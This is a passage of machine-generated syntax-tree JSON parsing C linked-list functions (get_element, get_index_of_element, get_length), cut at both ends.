"field_identifier", "text": "data", "parent": 474, "children": [], "start_point": {"row": 156, "column": 24}, "end_point": {"row": 156, "column": 28}}, {"id": 479, "type": "function_definition", "text": "void *get_element(linked_list *list, int k) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t}\n\n\tlinked_list *iterator;\n\tint i;\n\n\tif ( k >= 0 && k < get_length(list) ) {\n\t\titerator = list->next;\n\n\t\tfor (i = 0; i < k; ++i) {\n\t\t\titerator = iterator->next;\n\t\t}\n\n\t\treturn iterator->data;\n\t}\n\n\tDL_OUT_OF_BOUND_MSG;\n\treturn NULL;\n}", "parent": null, "children": [480, 481], "start_point": {"row": 163, "column": 0}, "end_point": {"row": 184, "column": 1}}, {"id": 480, "type": "primitive_type", "text": "void", "parent": 479, "children": [], "start_point": {"row": 163, "column": 0}, "end_point": {"row": 163, "column": 4}}, {"id": 481, "type": "pointer_declarator", "text": "*get_element(linked_list *list, int k)", "parent": 479, "children": [482, 483], "start_point": {"row": 163, "column": 5}, "end_point": {"row": 163, "column": 43}}, {"id": 482, "type": "*", "text": "*", "parent": 481, "children": [], "start_point": {"row": 163, "column": 5}, "end_point": {"row": 163, "column": 6}}, {"id": 483, "type": "function_declarator", "text": "get_element(linked_list *list, int k)", "parent": 481, "children": [484, 485], "start_point": {"row": 163, "column": 6}, "end_point": {"row": 163, "column": 43}}, {"id": 484, "type": "identifier", "text": "get_element", "parent": 483, "children": [], "start_point": {"row": 163, "column": 6}, "end_point": {"row": 163, "column": 17}}, {"id": 485, "type": "parameter_list", "text": "(linked_list *list, int k)", "parent": 483, "children": [486, 491], "start_point": {"row": 163, "column": 17}, "end_point": {"row": 163, "column": 43}}, {"id": 486, "type": "parameter_declaration", "text": "linked_list *list", "parent": 485, "children": [487, 488], "start_point": {"row": 163, "column": 18}, "end_point": {"row": 163, "column": 35}}, {"id": 487, "type": "type_identifier", "text": "linked_list", "parent": 486, "children": [], "start_point": {"row": 163, "column": 18}, "end_point": {"row": 163, "column": 29}}, {"id": 488, "type": "pointer_declarator", "text": "*list", "parent": 486, "children": [489, 490], "start_point": {"row": 163, "column": 30}, "end_point": {"row": 163, "column": 35}}, {"id": 489, "type": "*", "text": "*", "parent": 488, "children": [], "start_point": {"row": 163, "column": 30}, "end_point": {"row": 163, "column": 31}}, {"id": 490, "type": "identifier", "text": "list", "parent": 488, "children": [], "start_point": {"row": 163, "column": 31}, "end_point": {"row": 163, "column": 35}}, {"id": 491, "type": "parameter_declaration", "text": "int k", "parent": 485, "children": [492, 493], "start_point": {"row": 163, "column": 37}, "end_point": {"row": 163, "column": 42}}, {"id": 492, "type": "primitive_type", "text": "int", "parent": 491, "children": [], "start_point": {"row": 163, "column": 37}, "end_point": {"row": 163, "column": 40}}, {"id": 493, "type": "identifier", "text": "k", "parent": 491, "children": [], "start_point": {"row": 163, "column": 41}, "end_point": {"row": 163, "column": 42}}, {"id": 494, "type": "if_statement", "text": "if (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn NULL;\t\n\t}", "parent": 479, "children": [495], "start_point": {"row": 164, "column": 1}, "end_point": {"row": 167, "column": 2}}, {"id": 495, "type": "parenthesized_expression", "text": "(list == NULL)", "parent": 494, "children": [496], "start_point": {"row": 164, "column": 4}, "end_point": {"row": 164, "column": 18}}, {"id": 496, "type": "binary_expression", "text": "list == NULL", "parent": 495, "children": [497, 498, 499], "start_point": {"row": 164, "column": 5}, "end_point": {"row": 164, "column": 17}}, {"id": 497, "type": "identifier", "text": "list", "parent": 496, "children": [], "start_point": {"row": 164, "column": 5}, "end_point": {"row": 164, "column": 9}}, {"id": 498, "type": "==", "text": "==", "parent": 496, "children": [], "start_point": {"row": 164, "column": 10}, "end_point": {"row": 164, "column": 12}}, {"id": 499, "type": "null", "text": "NULL", "parent": 496, "children": [500], "start_point": {"row": 164, "column": 13}, "end_point": {"row": 164, "column": 17}}, {"id": 500, "type": "NULL", "text": "NULL", "parent": 499, "children": [], "start_point": {"row": 164, "column": 13}, "end_point": {"row": 164, "column": 17}}, {"id": 501, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 494, "children": [], "start_point": {"row": 165, "column": 2}, "end_point": {"row": 165, "column": 21}}, {"id": 502, "type": "return_statement", "text": "return NULL;", "parent": 494, "children": [503], "start_point": {"row": 166, "column": 2}, "end_point": {"row": 166, "column": 14}}, {"id": 503, "type": "null", "text": "NULL", "parent": 502, "children": [504], "start_point": {"row": 166, "column": 9}, "end_point": {"row": 166, "column": 13}}, {"id": 504, "type": "NULL", "text": "NULL", "parent": 503, "children": [], "start_point": {"row": 166, "column": 9}, "end_point": {"row": 166, "column": 13}}, {"id": 505, "type": "declaration", "text": "linked_list *iterator;", "parent": 479, "children": [506, 507], "start_point": {"row": 169, "column": 1}, "end_point": {"row": 169, "column": 23}}, {"id": 506, "type": "type_identifier", "text": "linked_list", "parent": 505, "children": [], "start_point": {"row": 169, "column": 1}, "end_point": {"row": 169, "column": 12}}, {"id": 507, "type": "pointer_declarator", "text": "*iterator", "parent": 505, "children": [508, 509], "start_point": {"row": 169, "column": 13}, "end_point": {"row": 169, "column": 22}}, {"id": 508, "type": "*", "text": "*", "parent": 507, "children": [], "start_point": {"row": 169, "column": 13}, "end_point": {"row": 169, "column": 14}}, {"id": 509, "type": "identifier", "text": "iterator", "parent": 507, "children": [], "start_point": {"row": 169, "column": 14}, "end_point": {"row": 169, "column": 22}}, {"id": 510, "type": "declaration", "text": "int i;", "parent": 479, "children": [511, 512], "start_point": {"row": 170, "column": 1}, "end_point": {"row": 170, "column": 7}}, {"id": 511, "type": "primitive_type", "text": "int", "parent": 510, "children": [], "start_point": {"row": 170, "column": 1}, "end_point": {"row": 170, "column": 4}}, {"id": 512, "type": "identifier", "text": "i", "parent": 510, "children": [], "start_point": {"row": 170, "column": 5}, "end_point": {"row": 170, "column": 6}}, {"id": 513, "type": "if_statement", "text": "if ( k >= 0 && k < get_length(list) ) {\n\t\titerator = list->next;\n\n\t\tfor (i = 0; i < k; ++i) {\n\t\t\titerator = iterator->next;\n\t\t}\n\n\t\treturn iterator->data;\n\t}", "parent": 479, "children": [514], "start_point": {"row": 172, "column": 1}, "end_point": {"row": 180, "column": 2}}, {"id": 514, "type": "parenthesized_expression", "text": "( k >= 0 && k < get_length(list) )", "parent": 513, "children": [515], "start_point": {"row": 172, "column": 4}, "end_point": {"row": 172, "column": 38}}, {"id": 515, "type": "binary_expression", "text": "k >= 0 && k < get_length(list)", "parent": 514, "children": [516, 520, 521], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 172, "column": 36}}, {"id": 516, "type": "binary_expression", "text": "k >= 0", "parent": 515, "children": [517, 518, 519], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 172, "column": 12}}, {"id": 517, "type": "identifier", "text": "k", "parent": 516, "children": [], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 172, "column": 7}}, {"id": 518, "type": ">=", "text": ">=", "parent": 516, "children": [], "start_point": {"row": 172, "column": 8}, "end_point": {"row": 172, "column": 10}}, {"id": 519, "type": "number_literal", "text": "0", "parent": 516, "children": [], "start_point": {"row": 172, "column": 11}, "end_point": {"row": 172, "column": 12}}, {"id": 520, "type": "&&", "text": "&&", "parent": 515, "children": [], "start_point": {"row": 172, "column": 13}, "end_point": {"row": 172, "column": 15}}, {"id": 521, "type": "binary_expression", "text": "k < get_length(list)", "parent": 515, "children": [522, 523, 524], "start_point": {"row": 172, "column": 16}, "end_point": {"row": 172, "column": 36}}, {"id": 522, "type": "identifier", "text": "k", "parent": 521, "children": [], "start_point": {"row": 172, "column": 16}, "end_point": {"row": 172, "column": 17}}, {"id": 523, "type": "<", "text": "<", "parent": 521, "children": [], "start_point": {"row": 172, "column": 18}, "end_point": {"row": 172, "column": 19}}, {"id": 524, "type": "call_expression", "text": "get_length(list)", "parent": 521, "children": [525, 526], "start_point": {"row": 172, "column": 20}, "end_point": {"row": 172, "column": 36}}, {"id": 525, "type": "identifier", "text": "get_length", "parent": 524, "children": [], "start_point": {"row": 172, "column": 20}, "end_point": {"row": 172, "column": 30}}, {"id": 526, "type": "argument_list", "text": "(list)", "parent": 524, "children": [527], "start_point": {"row": 172, "column": 30}, "end_point": {"row": 172, "column": 36}}, {"id": 527, "type": "identifier", "text": "list", "parent": 526, "children": [], "start_point": {"row": 172, "column": 31}, "end_point": {"row": 172, "column": 35}}, {"id": 528, "type": "assignment_expression", "text": "iterator = list->next", "parent": 513, "children": [529, 530, 531], "start_point": {"row": 173, "column": 2}, "end_point": {"row": 173, "column": 23}}, {"id": 529, "type": "identifier", "text": "iterator", "parent": 528, "children": [], "start_point": {"row": 173, "column": 2}, "end_point": {"row": 173, "column": 10}}, {"id": 530, "type": "=", "text": "=", "parent": 528, "children": [], "start_point": {"row": 173, "column": 11}, "end_point": {"row": 173, "column": 12}}, {"id": 531, "type": "field_expression", "text": "list->next", "parent": 528, "children": [532, 533], "start_point": {"row": 173, "column": 13}, "end_point": {"row": 173, "column": 23}}, {"id": 532, "type": "identifier", "text": "list", "parent": 531, "children": [], "start_point": {"row": 173, "column": 13}, "end_point": {"row": 173, "column": 17}}, {"id": 533, "type": "field_identifier", "text": "next", "parent": 531, "children": [], "start_point": {"row": 173, "column": 19}, "end_point": {"row": 173, "column": 23}}, {"id": 534, "type": "for_statement", "text": "for (i = 0; i < k; ++i) {\n\t\t\titerator = iterator->next;\n\t\t}", "parent": 513, "children": [535, 539, 543], "start_point": {"row": 175, "column": 2}, "end_point": {"row": 177, "column": 3}}, {"id": 535, "type": "assignment_expression", "text": "i = 0", "parent": 534, "children": [536, 537, 538], "start_point": {"row": 175, "column": 7}, "end_point": {"row": 175, "column": 12}}, {"id": 536, "type": "identifier", "text": "i", "parent": 535, "children": [], "start_point": {"row": 175, "column": 7}, "end_point": {"row": 175, "column": 8}}, {"id": 537, "type": "=", "text": "=", "parent": 535, "children": [], "start_point": {"row": 175, "column": 9}, "end_point": {"row": 175, "column": 10}}, {"id": 538, "type": "number_literal", "text": "0", "parent": 535, "children": [], "start_point": {"row": 175, "column": 11}, "end_point": {"row": 175, "column": 12}}, {"id": 539, "type": "binary_expression", "text": "i < k", "parent": 534, "children": [540, 541, 542], "start_point": {"row": 175, "column": 14}, "end_point": {"row": 175, "column": 19}}, {"id": 540, "type": "identifier", "text": "i", "parent": 539, "children": [], "start_point": {"row": 175, "column": 14}, "end_point": {"row": 175, "column": 15}}, {"id": 541, "type": "<", "text": "<", "parent": 539, "children": [], "start_point": {"row": 175, "column": 16}, "end_point": {"row": 175, "column": 17}}, {"id": 542, "type": "identifier", "text": "k", "parent": 539, "children": [], "start_point": {"row": 175, "column": 18}, "end_point": {"row": 175, "column": 19}}, {"id": 543, "type": "update_expression", "text": "++i", "parent": 534, "children": [544, 545], "start_point": {"row": 175, "column": 21}, "end_point": {"row": 175, "column": 24}}, {"id": 544, "type": "++", "text": "++", "parent": 543, "children": [], "start_point": {"row": 175, "column": 21}, "end_point": {"row": 175, "column": 23}}, {"id": 545, "type": "identifier", "text": "i", "parent": 543, "children": [], "start_point": {"row": 175, "column": 23}, "end_point": {"row": 175, "column": 24}}, {"id": 546, "type": "assignment_expression", "text": "iterator = iterator->next", "parent": 534, "children": [547, 548, 549], "start_point": {"row": 176, "column": 3}, "end_point": {"row": 176, "column": 28}}, {"id": 547, "type": "identifier", "text": "iterator", "parent": 546, "children": [], "start_point": {"row": 176, "column": 3}, "end_point": {"row": 176, "column": 11}}, {"id": 548, "type": "=", "text": "=", "parent": 546, "children": [], "start_point": {"row": 176, "column": 12}, "end_point": {"row": 176, "column": 13}}, {"id": 549, "type": "field_expression", "text": "iterator->next", "parent": 546, "children": [550, 551], "start_point": {"row": 176, "column": 14}, "end_point": {"row": 176, "column": 28}}, {"id": 550, "type": "identifier", "text": "iterator", "parent": 549, "children": [], "start_point": {"row": 176, "column": 14}, "end_point": {"row": 176, "column": 22}}, {"id": 551, "type": "field_identifier", "text": "next", "parent": 549, "children": [], "start_point": {"row": 176, "column": 24}, "end_point": {"row": 176, "column": 28}}, {"id": 552, "type": "return_statement", "text": "return iterator->data;", "parent": 513, "children": [553], "start_point": {"row": 179, "column": 2}, "end_point": {"row": 179, "column": 24}}, {"id": 553, "type": "field_expression", "text": "iterator->data", "parent": 552, "children": [554, 555], "start_point": {"row": 179, "column": 9}, "end_point": {"row": 179, "column": 23}}, {"id": 554, "type": "identifier", "text": "iterator", "parent": 553, "children": [], "start_point": {"row": 179, "column": 9}, "end_point": {"row": 179, "column": 17}}, {"id": 555, "type": "field_identifier", "text": "data", "parent": 553, "children": [], "start_point": {"row": 179, "column": 19}, "end_point": {"row": 179, "column": 23}}, {"id": 556, "type": "identifier", "text": "DL_OUT_OF_BOUND_MSG", "parent": 479, "children": [], "start_point": {"row": 182, "column": 1}, "end_point": {"row": 182, "column": 20}}, {"id": 557, "type": "return_statement", "text": "return NULL;", "parent": 479, "children": [558], "start_point": {"row": 183, "column": 1}, "end_point": {"row": 183, "column": 13}}, {"id": 558, "type": "null", "text": "NULL", "parent": 557, "children": [559], "start_point": {"row": 183, "column": 8}, "end_point": {"row": 183, "column": 12}}, {"id": 559, "type": "NULL", "text": "NULL", "parent": 558, "children": [], "start_point": {"row": 183, "column": 8}, "end_point": {"row": 183, "column": 12}}, {"id": 560, "type": "function_definition", "text": "int get_index_of_element(linked_list *list, void *data) {\n\tif (list == NULL || data == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\tint i;\n\tlinked_list *iterator;\n\titerator = list->next;\n\n\tfor (i = 0; list != iterator; i++) {\n\t\tif (data == iterator->data) {\n\t\t\treturn i;\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\n\treturn DL_ERROR_SIGNAL;\n}", "parent": null, "children": [561, 562], "start_point": {"row": 190, "column": 0}, "end_point": {"row": 207, "column": 1}}, {"id": 561, "type": "primitive_type", "text": "int", "parent": 560, "children": [], "start_point": {"row": 190, "column": 0}, "end_point": {"row": 190, "column": 3}}, {"id": 562, "type": "function_declarator", "text": "get_index_of_element(linked_list *list, void *data)", "parent": 560, "children": [563, 564], "start_point": {"row": 190, "column": 4}, "end_point": {"row": 190, "column": 55}}, {"id": 563, "type": "identifier", "text": "get_index_of_element", "parent": 562, "children": [], "start_point": {"row": 190, "column": 4}, "end_point": {"row": 190, "column": 24}}, {"id": 564, "type": "parameter_list", "text": "(linked_list *list, void *data)", "parent": 562, "children": [565, 570], "start_point": {"row": 190, "column": 24}, "end_point": {"row": 190, "column": 55}}, {"id": 565, "type": "parameter_declaration", "text": "linked_list *list", "parent": 564, "children": [566, 567], "start_point": {"row": 190, "column": 25}, "end_point": {"row": 190, "column": 42}}, {"id": 566, "type": "type_identifier", "text": "linked_list", "parent": 565, "children": [], "start_point": {"row": 190, "column": 25}, "end_point": {"row": 190, "column": 36}}, {"id": 567, "type": "pointer_declarator", "text": "*list", "parent": 565, "children": [568, 569], "start_point": {"row": 190, "column": 37}, "end_point": {"row": 190, "column": 42}}, {"id": 568, "type": "*", "text": "*", "parent": 567, "children": [], "start_point": {"row": 190, "column": 37}, "end_point": {"row": 190, "column": 38}}, {"id": 569, "type": "identifier", "text": "list", "parent": 567, "children": [], "start_point": {"row": 190, "column": 38}, "end_point": {"row": 190, "column": 42}}, {"id": 570, "type": "parameter_declaration", "text": "void *data", "parent": 564, "children": [571, 572], "start_point": {"row": 190, "column": 44}, "end_point": {"row": 190, "column": 54}}, {"id": 571, "type": "primitive_type", "text": "void", "parent": 570, "children": [], "start_point": {"row": 190, "column": 44}, "end_point": {"row": 190, "column": 48}}, {"id": 572, "type": "pointer_declarator", "text": "*data", "parent": 570, "children": [573, 574], "start_point": {"row": 190, "column": 49}, "end_point": {"row": 190, "column": 54}}, {"id": 573, "type": "*", "text": "*", "parent": 572, "children": [], "start_point": {"row": 190, "column": 49}, "end_point": {"row": 190, "column": 50}}, {"id": 574, "type": "identifier", "text": "data", "parent": 572, "children": [], "start_point": {"row": 190, "column": 50}, "end_point": {"row": 190, "column": 54}}, {"id": 575, "type": "if_statement", "text": "if (list == NULL || data == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 560, "children": [576], "start_point": {"row": 191, "column": 1}, "end_point": {"row": 194, "column": 2}}, {"id": 576, "type": "parenthesized_expression", "text": "(list == NULL || data == NULL)", "parent": 575, "children": [577], "start_point": {"row": 191, "column": 4}, "end_point": {"row": 191, "column": 34}}, {"id": 577, "type": "binary_expression", "text": "list == NULL || data == NULL", "parent": 576, "children": [578, 583, 584], "start_point": {"row": 191, "column": 5}, "end_point": {"row": 191, "column": 33}}, {"id": 578, "type": "binary_expression", "text": "list == NULL", "parent": 577, "children": [579, 580, 581], "start_point": {"row": 191, "column": 5}, "end_point": {"row": 191, "column": 17}}, {"id": 579, "type": "identifier", "text": "list", "parent": 578, "children": [], "start_point": {"row": 191, "column": 5}, "end_point": {"row": 191, "column": 9}}, {"id": 580, "type": "==", "text": "==", "parent": 578, "children": [], "start_point": {"row": 191, "column": 10}, "end_point": {"row": 191, "column": 12}}, {"id": 581, "type": "null", "text": "NULL", "parent": 578, "children": [582], "start_point": {"row": 191, "column": 13}, "end_point": {"row": 191, "column": 17}}, {"id": 582, "type": "NULL", "text": "NULL", "parent": 581, "children": [], "start_point": {"row": 191, "column": 13}, "end_point": {"row": 191, "column": 17}}, {"id": 583, "type": "||", "text": "||", "parent": 577, "children": [], "start_point": {"row": 191, "column": 18}, "end_point": {"row": 191, "column": 20}}, {"id": 584, "type": "binary_expression", "text": "data == NULL", "parent": 577, "children": [585, 586, 587], "start_point": {"row": 191, "column": 21}, "end_point": {"row": 191, "column": 33}}, {"id": 585, "type": "identifier", "text": "data", "parent": 584, "children": [], "start_point": {"row": 191, "column": 21}, "end_point": {"row": 191, "column": 25}}, {"id": 586, "type": "==", "text": "==", "parent": 584, "children": [], "start_point": {"row": 191, "column": 26}, "end_point": {"row": 191, "column": 28}}, {"id": 587, "type": "null", "text": "NULL", "parent": 584, "children": [588], "start_point": {"row": 191, "column": 29}, "end_point": {"row": 191, "column": 33}}, {"id": 588, "type": "NULL", "text": "NULL", "parent": 587, "children": [], "start_point": {"row": 191, "column": 29}, "end_point": {"row": 191, "column": 33}}, {"id": 589, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 575, "children": [], "start_point": {"row": 192, "column": 2}, "end_point": {"row": 192, "column": 21}}, {"id": 590, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 575, "children": [591], "start_point": {"row": 193, "column": 2}, "end_point": {"row": 193, "column": 25}}, {"id": 591, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 590, "children": [], "start_point": {"row": 193, "column": 9}, "end_point": {"row": 193, "column": 24}}, {"id": 592, "type": "declaration", "text": "int i;", "parent": 560, "children": [593, 594], "start_point": {"row": 195, "column": 1}, "end_point": {"row": 195, "column": 7}}, {"id": 593, "type": "primitive_type", "text": "int", "parent": 592, "children": [], "start_point": {"row": 195, "column": 1}, "end_point": {"row": 195, "column": 4}}, {"id": 594, "type": "identifier", "text": "i", "parent": 592, "children": [], "start_point": {"row": 195, "column": 5}, "end_point": {"row": 195, "column": 6}}, {"id": 595, "type": "declaration", "text": "linked_list *iterator;", "parent": 560, "children": [596, 597], "start_point": {"row": 196, "column": 1}, "end_point": {"row": 196, "column": 23}}, {"id": 596, "type": "type_identifier", "text": "linked_list", "parent": 595, "children": [], "start_point": {"row": 196, "column": 1}, "end_point": {"row": 196, "column": 12}}, {"id": 597, "type": "pointer_declarator", "text": "*iterator", "parent": 595, "children": [598, 599], "start_point": {"row": 196, "column": 13}, "end_point": {"row": 196, "column": 22}}, {"id": 598, "type": "*", "text": "*", "parent": 597, "children": [], "start_point": {"row": 196, "column": 13}, "end_point": {"row": 196, "column": 14}}, {"id": 599, "type": "identifier", "text": "iterator", "parent": 597, "children": [], "start_point": {"row": 196, "column": 14}, "end_point": {"row": 196, "column": 22}}, {"id": 600, "type": "assignment_expression", "text": "iterator = list->next", "parent": 560, "children": [601, 602, 603], "start_point": {"row": 197, "column": 1}, "end_point": {"row": 197, "column": 22}}, {"id": 601, "type": "identifier", "text": "iterator", "parent": 600, "children": [], "start_point": {"row": 197, "column": 1}, "end_point": {"row": 197, "column": 9}}, {"id": 602, "type": "=", "text": "=", "parent": 600, "children": [], "start_point": {"row": 197, "column": 10}, "end_point": {"row": 197, "column": 11}}, {"id": 603, "type": "field_expression", "text": "list->next", "parent": 600, "children": [604, 605], "start_point": {"row": 197, "column": 12}, "end_point": {"row": 197, "column": 22}}, {"id": 604, "type": "identifier", "text": "list", "parent": 603, "children": [], "start_point": {"row": 197, "column": 12}, "end_point": {"row": 197, "column": 16}}, {"id": 605, "type": "field_identifier", "text": "next", "parent": 603, "children": [], "start_point": {"row": 197, "column": 18}, "end_point": {"row": 197, "column": 22}}, {"id": 606, "type": "for_statement", "text": "for (i = 0; list != iterator; i++) {\n\t\tif (data == iterator->data) {\n\t\t\treturn i;\n\t\t}\n\t\titerator = iterator->next;\n\t}", "parent": 560, "children": [607, 611, 615], "start_point": {"row": 199, "column": 1}, "end_point": {"row": 204, "column": 2}}, {"id": 607, "type": "assignment_expression", "text": "i = 0", "parent": 606, "children": [608, 609, 610], "start_point": {"row": 199, "column": 6}, "end_point": {"row": 199, "column": 11}}, {"id": 608, "type": "identifier", "text": "i", "parent": 607, "children": [], "start_point": {"row": 199, "column": 6}, "end_point": {"row": 199, "column": 7}}, {"id": 609, "type": "=", "text": "=", "parent": 607, "children": [], "start_point": {"row": 199, "column": 8}, "end_point": {"row": 199, "column": 9}}, {"id": 610, "type": "number_literal", "text": "0", "parent": 607, "children": [], "start_point": {"row": 199, "column": 10}, "end_point": {"row": 199, "column": 11}}, {"id": 611, "type": "binary_expression", "text": "list != iterator", "parent": 606, "children": [612, 613, 614], "start_point": {"row": 199, "column": 13}, "end_point": {"row": 199, "column": 29}}, {"id": 612, "type": "identifier", "text": "list", "parent": 611, "children": [], "start_point": {"row": 199, "column": 13}, "end_point": {"row": 199, "column": 17}}, {"id": 613, "type": "!=", "text": "!=", "parent": 611, "children": [], "start_point": {"row": 199, "column": 18}, "end_point": {"row": 199, "column": 20}}, {"id": 614, "type": "identifier", "text": "iterator", "parent": 611, "children": [], "start_point": {"row": 199, "column": 21}, "end_point": {"row": 199, "column": 29}}, {"id": 615, "type": "update_expression", "text": "i++", "parent": 606, "children": [616, 617], "start_point": {"row": 199, "column": 31}, "end_point": {"row": 199, "column": 34}}, {"id": 616, "type": "identifier", "text": "i", "parent": 615, "children": [], "start_point": {"row": 199, "column": 31}, "end_point": {"row": 199, "column": 32}}, {"id": 617, "type": "++", "text": "++", "parent": 615, "children": [], "start_point": {"row": 199, "column": 32}, "end_point": {"row": 199, "column": 34}}, {"id": 618, "type": "if_statement", "text": "if (data == iterator->data) {\n\t\t\treturn i;\n\t\t}", "parent": 606, "children": [619], "start_point": {"row": 200, "column": 2}, "end_point": {"row": 202, "column": 3}}, {"id": 619, "type": "parenthesized_expression", "text": "(data == iterator->data)", "parent": 618, "children": [620], "start_point": {"row": 200, "column": 5}, "end_point": {"row": 200, "column": 29}}, {"id": 620, "type": "binary_expression", "text": "data == iterator->data", "parent": 619, "children": [621, 622, 623], "start_point": {"row": 200, "column": 6}, "end_point": {"row": 200, "column": 28}}, {"id": 621, "type": "identifier", "text": "data", "parent": 620, "children": [], "start_point": {"row": 200, "column": 6}, "end_point": {"row": 200, "column": 10}}, {"id": 622, "type": "==", "text": "==", "parent": 620, "children": [], "start_point": {"row": 200, "column": 11}, "end_point": {"row": 200, "column": 13}}, {"id": 623, "type": "field_expression", "text": "iterator->data", "parent": 620, "children": [624, 625], "start_point": {"row": 200, "column": 14}, "end_point": {"row": 200, "column": 28}}, {"id": 624, "type": "identifier", "text": "iterator", "parent": 623, "children": [], "start_point": {"row": 200, "column": 14}, "end_point": {"row": 200, "column": 22}}, {"id": 625, "type": "field_identifier", "text": "data", "parent": 623, "children": [], "start_point": {"row": 200, "column": 24}, "end_point": {"row": 200, "column": 28}}, {"id": 626, "type": "return_statement", "text": "return i;", "parent": 618, "children": [627], "start_point": {"row": 201, "column": 3}, "end_point": {"row": 201, "column": 12}}, {"id": 627, "type": "identifier", "text": "i", "parent": 626, "children": [], "start_point": {"row": 201, "column": 10}, "end_point": {"row": 201, "column": 11}}, {"id": 628, "type": "assignment_expression", "text": "iterator = iterator->next", "parent": 606, "children": [629, 630, 631], "start_point": {"row": 203, "column": 2}, "end_point": {"row": 203, "column": 27}}, {"id": 629, "type": "identifier", "text": "iterator", "parent": 628, "children": [], "start_point": {"row": 203, "column": 2}, "end_point": {"row": 203, "column": 10}}, {"id": 630, "type": "=", "text": "=", "parent": 628, "children": [], "start_point": {"row": 203, "column": 11}, "end_point": {"row": 203, "column": 12}}, {"id": 631, "type": "field_expression", "text": "iterator->next", "parent": 628, "children": [632, 633], "start_point": {"row": 203, "column": 13}, "end_point": {"row": 203, "column": 27}}, {"id": 632, "type": "identifier", "text": "iterator", "parent": 631, "children": [], "start_point": {"row": 203, "column": 13}, "end_point": {"row": 203, "column": 21}}, {"id": 633, "type": "field_identifier", "text": "next", "parent": 631, "children": [], "start_point": {"row": 203, "column": 23}, "end_point": {"row": 203, "column": 27}}, {"id": 634, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 560, "children": [635], "start_point": {"row": 206, "column": 1}, "end_point": {"row": 206, "column": 24}}, {"id": 635, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 634, "children": [], "start_point": {"row": 206, "column": 8}, "end_point": {"row": 206, "column": 23}}, {"id": 636, "type": "function_definition", "text": "int get_length(linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n/*\tlinked_list *iterator;\n\tint counter;\n\n\tcounter = 0;\n\titerator = list->next;\n\n\twhile (iterator != list) {\n\t\tcounter++;\n\t\titerator = iterator->next;\n\t}\n\n\treturn counter; */\n\n\treturn *((int*) list->data);\n}", "parent": null, "children": [637, 638], "start_point": {"row": 212, "column": 0}, "end_point": {"row": 232, "column": 1}}, {"id": 637, "type": "primitive_type", "text": "int", "parent": 636, "children": [], "start_point": {"row": 212, "column": 0}, "end_point": {"row": 212, "column": 3}}, {"id": 638, "type": "function_declarator", "text": "get_length(linked_list *list)", "parent": 636, "children": [639, 640], "start_point": {"row": 212, "column": 4}, "end_point": {"row": 212, "column": 33}}, {"id": 639, "type": "identifier", "text": "get_length", "parent": 638, "children": [], "start_point": {"row": 212, "column": 4}, "end_point": {"row": 212, "column": 14}}, {"id": 640, "type": "parameter_list", "text": "(linked_list *list)", "parent": 638, "children": [641], "start_point": {"row": 212, "column": 14}, "end_point": {"row": 212, "column": 33}}, {"id": 641, "type": "parameter_declaration", "text": "linked_list *list", "parent": 640, "children": [642, 643], "start_point": {"row": 212, "column": 15}, "end_point": {"row": 212, "column": 32}}, {"id": 642, "type": "type_identifier", "text": "linked_list", "parent": 641, "children": [], "start_point": {"row": 212, "column": 15}, "end_point": {"row": 212, "column": 26}}, {"id": 643, "type": "pointer_declarator", "text": "*list", "parent": 641, "children": [644, 645], "start_point": {"row": 212, "column": 27}, "end_point": {"row": 212, "column": 32}}, {"id": 644, "type": "*", "text": "*", "parent": 643, "children": [], "start_point": {"row": 212, "column": 27}, "end_point": {"row": 212, "column": 28}}, {"id": 645, "type": "identifier", "text": "list", "parent": 643, "children": [], "start_point": {"row": 212, "column": 28}, "end_point": {"row": 212, "column": 32}}, {"id": 646, "type": "if_statement", "text": "if (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 636, "children": [647], "start_point": {"row": 213, "column": 1}, "end_point": {"row": 216, "column": 2}}, {"id": 647, "type": "parenthesized_expression", "text": "(list == NULL)", "parent": 646, "children": [648], "start_point": {"row": 213, "column": 4}, "end_point": {"row": 213, "column": 18}}, {"id": 648, "type": "binary_expression", "text": "list == NULL", "parent": 647, "children": [649, 650, 651], "start_point": {"row": 213, "column": 5}, "end_point": {"row": 213, "column": 17}}, {"id": 649, "type": "identifier", "text": "list", "parent": 648, "children": [], "start_point": {"row": 213, "column": 5}, "end_point": {"row": 213, "column": 9}}, {"id": 650, "type": "==", "text": "==", "parent": 648, "children": [], "start_point": {"row": 213, "column": 10}, "end_point": {"row": 213, "column": 12}}, {"id": 651, "type": "null", "text": "NULL", "parent": 648, "children": [652], "start_point": {"row": 213, "column": 13}, "end_point": {"row": 213, "column": 17}}, {"id": 652, "type": "NULL", "text": "NULL", "parent": 651, "children": [], "start_point": {"row": 213, "column": 13}, "end_point": {"row": 213, "column": 17}}, {"id": 653, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 646, "children": [], "start_point": {"row": 214, "column": 2}, "end_point": {"row": 214, "column": 21}}, {"id": 654, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 646, "children": [655], "start_point": {"row": 215, "column": 2}, "end_point": {"row": 215, "column": 25}}, {"id": 655, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 654, "children": [], "start_point": {"row": 215, "column": 9}, "end_point": {"row": 215, "column": 24}}, {"id": 656, "type": "return_statement", "text": "return *((int*) list->data);", "parent": 636, "children": [657], "start_point": {"row": 231, "column": 1}, "end_point": {"row": 231, "column": 29}}, {"id": 657, "type": "pointer_expression", "text": "*((int*) list->data)", "parent": 656, "children": [658, 659], "start_point": 